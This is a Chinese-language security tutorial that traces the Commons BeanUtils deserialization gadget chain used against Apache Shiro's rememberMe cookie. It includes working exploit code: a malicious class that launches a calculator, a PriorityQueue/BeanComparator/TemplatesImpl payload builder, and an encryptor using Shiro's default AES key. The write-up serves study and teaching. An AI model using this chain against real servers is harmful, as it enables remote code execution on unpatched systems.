前言
今天分析一下这个CB链,上一篇我们说过了那个urldns链条,但是那个链条无法执行命令,今天讲的这个CB链则是可以执行命令的。
什么是CB链
CB链是Java反序列化漏洞攻击中使用的攻击链,主要依赖是Apache Commons项目中的Commons BeanUtils库,
Commons BeanUtils库提供了用于操作Java对象的实用工具类,例如BeanMap和BeanComparator等。攻击者可以构建一个恶意的反序列化链,通过组合这些特殊的类和方法,形成一个CB链。当反序列化操作触发时,CB链会执行预定义的操作,最终导致执行攻击者的恶意代码。

CB链测试
我们打开之前讲JAVA反序列化的项目Serialization-demo,为啥不用上一篇文章的项目呢,因为这个Shiro的反序列化是原生态的反序列化嘛。
这里简单说一下CB链 payload生成流程:恶意类=>生成序列化=>AES加密=>Base64加密,和之前我们讲的一模一样。
我们先编写一个恶意类,就叫Evil,作用就是弹出计算机。
package com.sf.maven.serializationdemo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Evil() throws Exception {
super();
Runtime.getRuntime().exec("calc");
}
}
下面就是我们的CB链,原理后面再慢慢分析。
public class CB {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
}
下面是序列化代码,就是调用我们的CB链,对我们的恶意类进行序列化->AES加密->base64编码,这个密钥咋来的就不说了,之前讲过了。
public class Client1 {
public static void main(String []args) throws Exception {
// 1. 创建ClassPool对象,用于加载类
ClassPool pool = ClassPool.getDefault();
// 2. 获取恶意类Evil(该类执行计算器calc)
CtClass clazz = pool.get(Evil.class.getName());
// 3. 调用CommonsBeanutils1Shiro#getPayload方法,并传入序列化后的恶意类,生成payload
byte[] payloads = new CB().getPayload(clazz.toBytecode());
// 4. 创建AesCipherService对象
AesCipherService aes = new AesCipherService();
// 5. 将key值Base64解码
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
// 6. 使用AES加密payload,暗含Base64加密
ByteSource ciphertext = aes.encrypt(payloads, key);
// 7. 将加密后的结果输出到控制台
System.out.printf(ciphertext.toString());
}
运行序列化代码,生成一个利用链。

替换原本的rememberMe= 的值,成功弹出计算机。
CB链分析
首先我们要知道了Shiro使用的是Java原生反序列化,其漏洞成因是反序列化的类重写了readObject方法。现在引入CB库里的PropertyUtils.getProperty()方法,该方法可以动态地通过反射调用对象的属性的get方法。
执行:PropertyUtils.getProperty(new user("hhh",23,"man"),"age");
User类的getAge方法被调用
执行:PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties");
TemplatesImpl类的getOutputProperties方法被调用
一个完整的攻击链应该包括如下:
1、Source(源):入口点,通常是指攻击链的起始点,其中用户输入或外部数据进入应用程序。
在反序列化漏洞中,readObject 方法通常被认为是源,因为它是从输入流读取数据并进行反序列化的方法。
2、Sink(执行点):执行点,是攻击链上的终点,其中攻击者希望执行恶意操作的位置。
在反序列化漏洞中,sink 可能是一个动态方法执行、JNDI注入或写文件等操作。
3、Gadget(链):连接入口执行的多个类,通过它们的相互方法调用形成攻击链。Gadget 类通常满足一些条件,例如类之间方法调用是链式的,类实例之间的关系是嵌套的,调用链上的类都需要是可以序列化的。在反序列化漏洞中,Gadget 类是攻击者构建的、可序列化的类,通过构建特定的对象图,使得在反序列化时执行恶意代码。
找了个图片,展示了CB链的一个大概流程。

OK,现在我们按照这个图片来进行跟踪一下,我们来到PriorityQueue这个类里面,可以看到这个类重写了readObject方法,并且Shiro反序列化这个类的时候会调用其重写的readObject方法,经过层层嵌套调用,最终造成命令执行。值得一提的是,这个类的路径为java/util/PriorityQueue.java,也就意味着是JDK自带,不需要任何的依赖,所以这也是为啥以这个类作为入口点。

往下看会发现readobject 调用了 heapify() 这个方法。

我们跟进到这个heapify() 这个方法里面来看一下,发现里面的又调用了siftDown 这个方法。
条件为size值大于等于2
此时的链条:PriorityQueue=>readObject=>heapify=>siftDown

继续跟进 siftDown 方法,siftDown里面又调用了siftDownUsingComparator方法。
条件为comparator != null
此时的链条:PriorityQueue=>readObject=>heapify=>siftDown=>siftDownUsingComparator

接着往下跟进,发现里面调用了一个Comparator#compare方法,此时没啥条件。
此时的链条:PriorityQueue=>readObject=>heapify=>siftDown=>siftDownUsingComparator=>
Comparator#compare

此时关键点就来了,进入到 Comparator#compare 发现是一个接口。

并且BeanComparator类继承了Comparator类和Serializable类,实现了compare接口。

我们进入到BeanComparator类里面看看,在compare方法看到了上面我们讲过的 PropertyUtils.getProperty() 方法,想要触发这个这个方法的条件是 this.property != null,不然就会直接return了。
由于this.property是BeanComparator类的成员变量,检查发现其有内置的get、set方法,所以是可以实现控制的。那么,当执行PropertyUtils.getProperty(o1, this.property)时,如果控制o1=new TemplatesImpl(),this.property="outputProperties",不就可以执行TemplatesImpl#getOutputProperties方法了吗?

那么此时的链条:
PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare=>BeanComparator#compare=>PropertyUtils.getProperty()
=>TemplatesImpl#getOutputProperties
实现条件:
条件1:size值大于等于2
条件2:comparator != null
条件3:this.property != null
条件4:o1=new TemplatesImpl(),this.property="outputProperties"
上面我们说了会调用getoutputProperties 这个方法,我们跟进这个方法里面看看,里面调用newTransformer()方法

newTransformer()方法又调用了 getTransletInstance() 方法。

这里的条件如果 _name != null,_class == null 那么就会调用defineTransletClasses()方法。
链条:PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare=>BeanComparator#compare=>PropertyUtils.getProperty()
=>TemplatesImpl#getOutputProperties=>newTransformer()=>getTransletInstance()=>
defineTransletClasses()

继续跟进来到defineTransletClasses()这里,发现当_bytecodes != null时,会往下执行loader.defineClass()方法。
在代码中,loader.defineClass(_bytecodes[i])的目的是将_bytecodes[i]中的字节码转换为Class对象,并将该类加载执行,而Java里的.class文件是可以直接执行命令的!!!
那么此时的链条:
PriorityQueue#readObject=>heapify=>siftDown=>siftDownUsingComparator=>Comparator#compare=>BeanComparator#compare=>PropertyUtils.getProperty()=>TemplatesImpl#getOutputProperties=>newTransformer()=>getTransletInstance()=>defineTransletClasses()=>loader.defineClass()
条件:
条件1:size值大于等于2
条件2:comparator != null
条件3:this.property != null
条件4:o1=new TemplatesImpl(),this.property="outputProperties"
条件5:_name != null,_class == null
条件6:_bytecodes != null,_bytecodes=序列化后的恶意类

回想我们上面说到的一个完整的攻击链条应该包括以下三点
Source入口点:PriorityQueue类--->readObject方法
Gadget(链):BeanComparator类--->调用PropertyUtils.getProperty()--->控制o1和property--->执行TemplatesImpl类的getOutputProperties方法,起到承上启下的作用
Sink执行点:TemplatesImpt类--->调用恶意类,loader.defineClass()方法
Shiro550 - CB1链编写分析
我们来看一下CB链的编写逻辑,第一部分setFieldValue方法就是获取成员变量了。

getpayload这里创建一个TemplatesImpl对象,并使用setFieldValue方法设置其相关成员变量的值。 _bytecodes来源:_bytecodes <= clazzBytes <= clazz.toBytecode() <= Evil恶意类。

接着就是创建BeanComparator对象和PriorityQueue 对象。

来到getPayload方法的第三部分,实际上这里就是在控制o1=new TemplatesImpl(),this.property="outputProperties",于是执行PropertyUtils.getProperty(o1, this.property)时,就会调用TemplatesImpl#getOutputProperties方法。

剩下的就是payload的生成了。

总结
至此结束,虽然看着很长,但是一步一步跟踪下来发现其实也就那么一回事。
引用文章:https://blog.csdn.net/qq_46081990/article/details/135724944